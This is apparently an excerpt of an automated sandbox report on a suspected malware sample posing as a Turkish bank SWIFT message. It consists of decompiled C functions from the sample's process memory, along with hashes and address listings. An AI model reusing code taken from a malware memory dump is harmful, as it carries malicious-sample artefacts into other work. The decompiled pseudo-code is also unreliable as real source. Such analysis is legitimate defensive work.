                                                                        • Opcode ID: cc1b1bdf069b033d84c04ca086e16a89891ce7c194ef466cd701f5860f3f61b9
                                                                        • Instruction ID: 47a6daf987c8368f7af1919b41e812c75d44cdc6bfa07801421e318d9b5cd8e5
                                                                        • Opcode Fuzzy Hash: cc1b1bdf069b033d84c04ca086e16a89891ce7c194ef466cd701f5860f3f61b9
                                                                        • Instruction Fuzzy Hash: FF51D576B20115CFCB18CF1CC891ABDB7F5FB98700756885AE846AB365E730AE51CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0133AE44 Relevance: .2, Instructions: 152COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 86%
                                                                        			E0133AE44(signed char __ecx, signed int __edx, signed int _a4, signed char _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				void* __esi;
				void* __ebp;
				signed short* _t36;
				signed int _t41;
				char* _t42;
				intOrPtr _t43;
				signed int _t47;
				void* _t52;
				signed int _t57;
				intOrPtr _t61;
				signed char _t62;
				signed int _t72;
				signed char _t85;
				signed int _t88;

				_t73 = __edx;
				_push(__ecx);
				_t85 = __ecx;
				_v8 = __edx;
				_t61 =  *((intOrPtr*)(__ecx + 0x28));
				_t57 = _a4 |  *(__ecx + 0xc) & 0x11000001;
				if(_t61 != 0 && _t61 ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
					_t57 = _t57 | 0x00000001;
				}
				_t88 = 0;
				_t36 = 0;
				_t96 = _a12;
				if(_a12 == 0) {
					_t62 = _a8;
					__eflags = _t62;
					if(__eflags == 0) {
						goto L12;
					}
					_t52 = E0133C38B(_t85, _t73, _t57, 0);
					_t62 = _a8;
					 *_t62 = _t52;
					_t36 = 0;
					goto L11;
				} else {
					_t36 = E0133ACFD(_t85, _t73, _t96, _t57, _a8);
					if(0 == 0 || 0 == 0xffffffff) {
						_t72 = _t88;
					} else {
						_t72 =  *0x00000000 & 0x0000ffff;
					}
					 *_a12 = _t72;
					_t62 = _a8;
					L11:
					_t73 = _v8;
					L12:
					if((_t57 & 0x01000000) != 0 ||  *((intOrPtr*)(_t85 + 0x20)) == _t88) {
						L19:
						if(( *(_t85 + 0xc) & 0x10000000) == 0) {
							L22:
							_t74 = _v8;
							__eflags = _v8;
							if(__eflags != 0) {
								L25:
								__eflags = _t88 - 2;
								if(_t88 != 2) {
									__eflags = _t85 + 0x44 + (_t88 << 6);
									_t88 = E0133FDE2(_t85 + 0x44 + (_t88 << 6), _t74, _t57);
									goto L34;
								}
								L26:
								_t59 = _v8;
								E0133EA55(_t85, _v8, _t57);
								asm("sbb esi, esi");
								_t88 =  ~_t88;
								_t41 = E01297D50();
								__eflags = _t41;
								if(_t41 == 0) {
									_t42 = 0x7ffe0380;
								} else {
									_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								__eflags =  *_t42;
								if( *_t42 != 0) {
									_t43 =  *[fs:0x30];
									__eflags =  *(_t43 + 0x240) & 0x00000001;
									if(( *(_t43 + 0x240) & 0x00000001) != 0) {
										__eflags = _t88;
										if(_t88 != 0) {
											E01331608(_t85, _t59, 3);
										}
									}
								}
								goto L34;
							}
							_push(_t62);
							_t47 = E01341536(0x1368ae4, (_t74 -  *0x1368b04 >> 0x14) + (_t74 -  *0x1368b04 >> 0x14), _t88, __eflags);
							__eflags = _t47;
							if(_t47 == 0) {
								goto L26;
							}
							_t74 = _v12;
							_t27 = _t47 - 1; // -1
							_t88 = _t27;
							goto L25;
						}
						_t62 = _t85;
						if(L0133C323(_t62, _v8, _t57) != 0xffffffff) {
							goto L22;
						}
						_push(_t62);
						_push(_t88);
						E0133A80D(_t85, 9, _v8, _t88);
						goto L34;
					} else {
						_t101 = _t36;
						if(_t36 != 0) {
							L16:
							if(_t36 == 0xffffffff) {
								goto L19;
							}
							_t62 =  *((intOrPtr*)(_t36 + 2));
							if((_t62 & 0x0000000f) == 0) {
								goto L19;
							}
							_t62 = _t62 & 0xf;
							if(E0131CB1E(_t62, _t85, _v8, 3, _t36 + 8) < 0) {
								L34:
								return _t88;
							}
							goto L19;
						}
						_t62 = _t85;
						_t36 = E0133ACFD(_t62, _t73, _t101, _t57, _t62);
						if(_t36 == 0) {
							goto L19;
						}
						goto L16;
					}
				}
			}



















                                                                        0x0133ae44
                                                                        0x0133ae4c
                                                                        0x0133ae53
                                                                        0x0133ae55
                                                                        0x0133ae5c
                                                                        0x0133ae64
                                                                        0x0133ae68
                                                                        0x0133ae75
                                                                        0x0133ae75
                                                                        0x0133ae78
                                                                        0x0133ae7a
                                                                        0x0133ae7c
                                                                        0x0133ae7f
                                                                        0x0133aea8
                                                                        0x0133aeab
                                                                        0x0133aead
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133aeb3
                                                                        0x0133aeb8
                                                                        0x0133aebb
                                                                        0x0133aebd
                                                                        0x00000000
                                                                        0x0133ae81
                                                                        0x0133ae88
                                                                        0x0133ae8f
                                                                        0x0133ae9b
                                                                        0x0133ae96
                                                                        0x0133ae96
                                                                        0x0133ae96
                                                                        0x0133aea0
                                                                        0x0133aea3
                                                                        0x0133aebf
                                                                        0x0133aebf
                                                                        0x0133aec3
                                                                        0x0133aec9
                                                                        0x0133af0d
                                                                        0x0133af14
                                                                        0x0133af3d
                                                                        0x0133af3d
                                                                        0x0133af41
                                                                        0x0133af44
                                                                        0x0133af67
                                                                        0x0133af67
                                                                        0x0133af6a
                                                                        0x0133afca
                                                                        0x0133afd1
                                                                        0x00000000
                                                                        0x0133afd1
                                                                        0x0133af6c
                                                                        0x0133af6d
                                                                        0x0133af75
                                                                        0x0133af7c
                                                                        0x0133af7e
                                                                        0x0133af80
                                                                        0x0133af85
                                                                        0x0133af87
                                                                        0x0133af99
                                                                        0x0133af89
                                                                        0x0133af92
                                                                        0x0133af92
                                                                        0x0133af9e
                                                                        0x0133afa1
                                                                        0x0133afa3
                                                                        0x0133afa9
                                                                        0x0133afb0
                                                                        0x0133afb2
                                                                        0x0133afb4
                                                                        0x0133afbc
                                                                        0x0133afbc
                                                                        0x0133afb4
                                                                        0x0133afb0
                                                                        0x00000000
                                                                        0x0133afa1
                                                                        0x0133af4f
                                                                        0x0133af57
                                                                        0x0133af5c
                                                                        0x0133af5e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133af60
                                                                        0x0133af64
                                                                        0x0133af64
                                                                        0x00000000
                                                                        0x0133af64
                                                                        0x0133af1a
                                                                        0x0133af25
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133af27
                                                                        0x0133af28
                                                                        0x0133af33
                                                                        0x00000000
                                                                        0x0133aed0
                                                                        0x0133aed0
                                                                        0x0133aed2
                                                                        0x0133aee1
                                                                        0x0133aee4
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133aee6
                                                                        0x0133aeec
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133aefb
                                                                        0x0133af07
                                                                        0x0133afd3
                                                                        0x0133afdb
                                                                        0x0133afdb
                                                                        0x00000000
                                                                        0x0133af07
                                                                        0x0133aed6
                                                                        0x0133aed8
                                                                        0x0133aedf
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133aedf
                                                                        0x0133aec9

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: a69af48c0e69f43d0e92b8cf27b336ff009026a7325b986a96798cb9e76935cc
                                                                        • Instruction ID: 186af75924c0a46c199fcc36e12aa82111ff511731d756d4574e4a67d022f4b1
                                                                        • Opcode Fuzzy Hash: a69af48c0e69f43d0e92b8cf27b336ff009026a7325b986a96798cb9e76935cc
                                                                        • Instruction Fuzzy Hash: 314125B17042019BE726CB2DCC84B3BBB99AFC4228F044319F99AC72D4DB34D805C7A8
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129DBE9 Relevance: .1, Instructions: 149COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 86%
                                                                        			E0129DBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E0127CC50(E01274510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E01297D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E01348ED6(_t102, _t98);
						}
						_t76 = _v44;
						E01292280(_t58, _v44);
						E0129DD82(_v44, _t102, _t98);
						E0129B944(_t102, _v5);
						return E0128FFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0x1368628; // 0x0
							_v28 = _t67;
							_t68 =  *0x136862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0x1368628; // 0x0
						_t105 = _v28;
						_t80 =  *0x136862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0x133fb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}









































                                                                        0x0129dbe9
                                                                        0x0129dbf2
                                                                        0x0129dbf7
                                                                        0x0129dbf9
                                                                        0x0129dbfc
                                                                        0x0129dc00
                                                                        0x0129dc03
                                                                        0x0129dc14
                                                                        0x0129dd54
                                                                        0x0129dd54
                                                                        0x0129dd54
                                                                        0x0129dc18
                                                                        0x0129dc1d
                                                                        0x0129dc1d
                                                                        0x0129dc32
                                                                        0x0129dc3b
                                                                        0x0129dc3e
                                                                        0x0129dc46
                                                                        0x0129dd5b
                                                                        0x0129dd62
                                                                        0x0129dd64
                                                                        0x0129dd67
                                                                        0x0129dd69
                                                                        0x0129dd6b
                                                                        0x0129dd6e
                                                                        0x0129dd70
                                                                        0x0129dd73
                                                                        0x0129dd73
                                                                        0x00000000
                                                                        0x0129dc4c
                                                                        0x0129dc4e
                                                                        0x012e3ae3
                                                                        0x012e3ae8
                                                                        0x012e3aea
                                                                        0x0129dce7
                                                                        0x0129dce9
                                                                        0x0129dcec
                                                                        0x0129dcee
                                                                        0x0129dcf0
                                                                        0x0129dcf3
                                                                        0x0129dcf5
                                                                        0x012e3af2
                                                                        0x012e3af5
                                                                        0x012e3af5
                                                                        0x0129dd06
                                                                        0x0129dd08
                                                                        0x0129dd0b
                                                                        0x0129dd12
                                                                        0x012e3b08
                                                                        0x0129dd18
                                                                        0x0129dd18
                                                                        0x0129dd18
                                                                        0x0129dd20
                                                                        0x0129dd23
                                                                        0x012e3b16
                                                                        0x012e3b16
                                                                        0x0129dd29
                                                                        0x0129dd2d
                                                                        0x0129dd36
                                                                        0x0129dd40
                                                                        0x0129dd51
                                                                        0x0129dd51
                                                                        0x0129dc54
                                                                        0x0129dc59
                                                                        0x0129dc59
                                                                        0x0129dc5e
                                                                        0x0129dc5e
                                                                        0x0129dc63
                                                                        0x0129dc66
                                                                        0x0129dc6b
                                                                        0x0129dc78
                                                                        0x0129dc7b
                                                                        0x0129dc81
                                                                        0x0129dc81
                                                                        0x0129dc83
                                                                        0x0129dc89
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129dd7b
                                                                        0x0129dd7b
                                                                        0x0129dc8f
                                                                        0x0129dc8f
                                                                        0x0129dc92
                                                                        0x0129dc99
                                                                        0x0129dc9f
                                                                        0x0129dca5
                                                                        0x0129dcaa
                                                                        0x0129dcaa
                                                                        0x0129dcb3
                                                                        0x0129dcb8
                                                                        0x0129dcbb
                                                                        0x0129dcc1
                                                                        0x0129dccf
                                                                        0x0129dcd2
                                                                        0x0129dcd5
                                                                        0x0129dcd7
                                                                        0x0129dcda
                                                                        0x0129dcdc
                                                                        0x0129dcdc
                                                                        0x0129dce2
                                                                        0x0129dce4
                                                                        0x00000000
                                                                        0x0129dce4

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 86795faf3e41b4ce10ce7c34ad772d67837dc65a9faf8fa54ade37ca5bb01b5e
                                                                        • Instruction ID: 9d7bab3569ef930b57d6908d650f6c9144159b039215c612e34455c078ad3097
                                                                        • Opcode Fuzzy Hash: 86795faf3e41b4ce10ce7c34ad772d67837dc65a9faf8fa54ade37ca5bb01b5e
                                                                        • Instruction Fuzzy Hash: AF519D72A1161ADFCF14CFACC490AAEBBF5BF58310F24815AD655A7344DB70AD44CBA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0128EF40 Relevance: .1, Instructions: 147COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 96%
                                                                        			E0128EF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E01279080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x77d0c21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E01272D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}




























                                                                        0x0128ef4b
                                                                        0x0128ef4d
                                                                        0x0128ef57
                                                                        0x0128f0bd
                                                                        0x0128f0c2
                                                                        0x0128f0d2
                                                                        0x0128f0d2
                                                                        0x0128f0c2
                                                                        0x0128ef5d
                                                                        0x0128ef5f
                                                                        0x0128ef67
                                                                        0x0128ef6a
                                                                        0x0128ef6d
                                                                        0x0128ef74
                                                                        0x0128ef7f
                                                                        0x0128ef82
                                                                        0x0128ef82
                                                                        0x0128ef86
                                                                        0x0128ef88
                                                                        0x0128ef8c
                                                                        0x0128ef8f
                                                                        0x0128ef8f
                                                                        0x0128ef8f
                                                                        0x00000000
                                                                        0x0128ef91
                                                                        0x0128ef93
                                                                        0x0128efc4
                                                                        0x0128efc4
                                                                        0x0128efc4
                                                                        0x0128efca
                                                                        0x0128efd0
                                                                        0x0128f0a6
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128f0af
                                                                        0x012dbb06
                                                                        0x012dbb0a
                                                                        0x0128f0b5
                                                                        0x0128f0b5
                                                                        0x0128f0b5
                                                                        0x0128f0b5
                                                                        0x00000000
                                                                        0x0128efd6
                                                                        0x0128efd9
                                                                        0x0128f0de
                                                                        0x0128f0e2
                                                                        0x0128efdf
                                                                        0x0128efdf
                                                                        0x0128efdf
                                                                        0x0128efe5
                                                                        0x012dbafc
                                                                        0x012dbafc
                                                                        0x0128efe5
                                                                        0x0128efeb
                                                                        0x0128efed
                                                                        0x0128f00f
                                                                        0x0128f011
                                                                        0x0128f01a
                                                                        0x0128f01d
                                                                        0x0128f021
                                                                        0x0128f028
                                                                        0x0128f029
                                                                        0x0128f029
                                                                        0x0128f02c
                                                                        0x00000000
                                                                        0x0128f02c
                                                                        0x0128eff3
                                                                        0x0128eff9
                                                                        0x0128f0ea
                                                                        0x0128f0ed
                                                                        0x0128f0ef
                                                                        0x00000000
                                                                        0x0128f0ef
                                                                        0x0128f003
                                                                        0x012dbb12
                                                                        0x0128f045
                                                                        0x0128f049
                                                                        0x0128f051
                                                                        0x0128f09e
                                                                        0x0128f0a0
                                                                        0x0128f0a0
                                                                        0x0128f09e
                                                                        0x0128f053
                                                                        0x0128f064
                                                                        0x0128f064
                                                                        0x0128f06b
                                                                        0x012dbb1a
                                                                        0x012dbb1a
                                                                        0x0128f071
                                                                        0x0128f071
                                                                        0x0128f07d
                                                                        0x0128f082
                                                                        0x0128f08f
                                                                        0x0128f08f
                                                                        0x0128f009
                                                                        0x0128f00d
                                                                        0x00000000
                                                                        0x0128f00d
                                                                        0x0128efd0
                                                                        0x0128ef97
                                                                        0x0128efa5
                                                                        0x0128efaa
                                                                        0x00000000
                                                                        0x0128efac
                                                                        0x0128efac
                                                                        0x0128efac
                                                                        0x00000000
                                                                        0x0128efb2
                                                                        0x0128f036
                                                                        0x0128f03a
                                                                        0x0128f040
                                                                        0x0128f090
                                                                        0x00000000
                                                                        0x0128f092
                                                                        0x0128f042
                                                                        0x00000000
                                                                        0x0128f042
                                                                        0x0128efb7
                                                                        0x0128efb9
                                                                        0x0128efbc
                                                                        0x0128efb0
                                                                        0x0128efb0
                                                                        0x00000000
                                                                        0x0128efbe
                                                                        0x0128efbe
                                                                        0x0128efc1
                                                                        0x00000000
                                                                        0x0128efc1
                                                                        0x0128efbc
                                                                        0x0128efaa
                                                                        0x0128ef91

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
                                                                        • Instruction ID: a546422ee8bf3061c29e91c8d7d99219e52485ffec67dbaca78ab4ee735030b2
                                                                        • Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
                                                                        • Instruction Fuzzy Hash: EC514830E26246DFEB21EB6CC1D17AEBBF1AF15314F1981A8C645973C2C375A98AC741
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0134740D Relevance: .1, Instructions: 141COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 84%
                                                                        			E0134740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E012CD4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E012BF380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L01294620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L01294620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E012BF3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L01294620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}





















                                                                        0x0134740d
                                                                        0x0134740d
                                                                        0x01347412
                                                                        0x01347413
                                                                        0x01347416
                                                                        0x01347418
                                                                        0x0134741c
                                                                        0x0134741f
                                                                        0x01347422
                                                                        0x01347422
                                                                        0x01347428
                                                                        0x0134742a
                                                                        0x0134742a
                                                                        0x01347451
                                                                        0x01347432
                                                                        0x0134744f
                                                                        0x0134744f
                                                                        0x00000000
                                                                        0x01347434
                                                                        0x01347438
                                                                        0x01347443
                                                                        0x01347517
                                                                        0x01347517
                                                                        0x0134751a
                                                                        0x01347535
                                                                        0x01347520
                                                                        0x01347527
                                                                        0x0134752c
                                                                        0x01347531
                                                                        0x01347533
                                                                        0x00000000
                                                                        0x01347533
                                                                        0x00000000
                                                                        0x01347531
                                                                        0x0134754b
                                                                        0x0134754f
